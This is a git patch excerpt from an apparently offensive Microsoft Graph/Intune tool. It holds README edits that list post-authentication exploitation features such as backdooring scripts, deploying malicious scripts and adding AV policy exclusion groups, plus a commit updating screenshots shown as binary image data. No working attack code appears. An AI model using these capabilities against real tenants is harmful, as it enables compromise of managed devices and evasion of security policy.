+- [Post-Auth Intune Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-exploitation) + - [Display-AVPolicyRules](https://github.com/mlcsec/Graphpython/wiki/Demos#display-avpolicyrules) + - [Get-ScriptContent](https://github.com/mlcsec/Graphpython/wiki/Demos#get-scriptcontent) + - [Backdoor-Script](https://github.com/mlcsec/Graphpython/wiki/Demos#backdoor-script) + - [Deploy-MaliciousScript](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousscript) + - [Add-ExclusionGroupToPolicy](https://github.com/mlcsec/Graphpython/wiki/Demos#add-exclusiongrouptopolicy) +- [Cleanup](https://github.com/mlcsec/Graphpython/wiki/Demos#cleanup) + - [Remove-GroupMember](https://github.com/mlcsec/Graphpython/wiki/Demos#remove-groupmember) +- [Locators](https://github.com/mlcsec/Graphpython/wiki/Demos#locators) + - [Locate-ObjectID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-objectid) + - [Locate-PermissionID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-permissionid) +
      ## Acknowledgements and References - [AADInternals](https://github.com/Gerenios/AADInternals) - [GraphRunner](https://github.com/dafthack/GraphRunner) -- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) -- [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2) +- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) and [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2) - [https://learn.microsoft.com/en-us/graph/permissions-reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) - [https://graphpermissions.merill.net/](https://graphpermissions.merill.net/) @@ -619,6 +267,7 @@ Graph permission IDs applied to objects can be easily located with detailed expl - [ ] `Deploy-MaliciousWin32Exe/MSI` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices - check also [here](https://learn.microsoft.com/en-us/graph/api/resources/intune-app-conceptual?view=graph-rest-1.0) for managing iOS, Android, LOB apps etc. via graph - [ ] `Update/Deploy-Policy` - update existing rules for av, asr, etc. policy or deploy a new one with specific groups/devices - - [ ] `Invoke-MFASweep` - port mfa sweep and add to outsider commands + - [ ] `Invoke-MFASweep` - port mfa sweep and add to outsider commands + - [ ] `Invoke-AADIntReconAsGuest` and `Invoke-AADIntUserEnumerationAsGuest` - port from AADInternals - Options: - [ ] --proxy option From 326ec55d65003d412287325709cd5375b4c94d4a Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 00:31:05 +0100 Subject: [PATCH 16/37] Update pictures --- .github/addapplicationcertificate-portal.png | Bin 56792 -> 50633 bytes .github/addapplicationcertificate.png | Bin 9756 -> 22377 bytes .github/addapplicationpermission.png | Bin 23473 -> 44494 bytes .github/addexclusiongroup1.png | Bin 36754 -> 72423 bytes .github/addexclusiongroup2.png | Bin 25435 -> 55310 bytes .github/addexclusiongroup3.png | Bin 10096 -> 22754 bytes .github/addexclusiongroup4.png | Bin 27457 -> 59246 bytes .github/assignprivilegedrole.png | Bin 107935 -> 156917 bytes .github/backdoorscript.png | Bin 28550 -> 51381 bytes .github/certtoaccesstoken.png | Bin 25858 -> 42763 bytes .../deploymaliciousscript-intuneportal.png | Bin 48908 -> 49838 bytes .github/deploymaliciousscript.png | Bin 23529 -> 51695 bytes .github/deploymaliciousweblink.png | Bin 16809 -> 0 bytes .github/deploymaliciousweblink2.png | Bin 43986 -> 39638 bytes .github/deploymaliciousweblink3.png | Bin 0 -> 35780 bytes .github/displayavpolicyrules.png | Bin 44515 -> 87149 bytes .github/dump-devicemanabenentscritps.png | Bin 45470 -> 37349 bytes .github/dumpwindowsapps.png | Bin 0 -> 55254 bytes .github/finddynamicgroups.png | Bin 26969 -> 56254 bytes .github/findprivilegedapps.png | Bin 30553 -> 84008 bytes .github/getapplication.png | Bin 24712 -> 44959 bytes .github/getdevicecompliancepolicies.png | Bin 0 -> 107920 bytes .github/getdeviceconfigurationpolicies.png | Bin 28157 -> 81739 bytes .github/getgraphtokens.png | Bin 41437 -> 77941 bytes .github/getgroupmember-dynamic.png | Bin 0 -> 20736 bytes .github/getgroupmember2.png | Bin 0 -> 30869 bytes .github/getgroupmemberafter.png | Bin 20747 -> 25651 bytes .github/getscriptcontent-new.png | Bin 19088 -> 42850 bytes .github/getscriptcontent.png | Bin 68218 -> 56494 bytes .github/gettenantid.png | Bin 0 -> 14340 bytes .github/gettokenscope.png | Bin 0 -> 67763 bytes .github/getuserprivileges.png | Bin 23829 -> 67917 bytes .github/grantappadminconsent.png | Bin 9980 -> 22437 bytes .github/invokesearch.png | Bin 0 -> 40577 bytes .github/locatepermissionid.png | Bin 23671 -> 89225 bytes .github/refreshtomsgraph.png | Bin 0 -> 109749 bytes .github/removegroupmember.png | Bin 13424 -> 31337 bytes .github/updateuserproperties.png | Bin 0 -> 24840 bytes 38 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .github/deploymaliciousweblink.png create mode 100644 .github/deploymaliciousweblink3.png create mode 100644 .github/dumpwindowsapps.png create mode 100644 .github/getdevicecompliancepolicies.png create mode 100644 .github/getgroupmember-dynamic.png create mode 100644 .github/getgroupmember2.png create mode 100644 .github/gettenantid.png create mode 100644 .github/gettokenscope.png create mode 100644 .github/invokesearch.png create mode 100644 .github/refreshtomsgraph.png create mode 100644 .github/updateuserproperties.png diff --git a/.github/addapplicationcertificate-portal.png b/.github/addapplicationcertificate-portal.png index ae11d6b9cdccb11917258a866ae71b7c6c696059..ff3896327869fa5a8614368781e970c2800f37b1 100644 GIT binary patch literal 50633 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 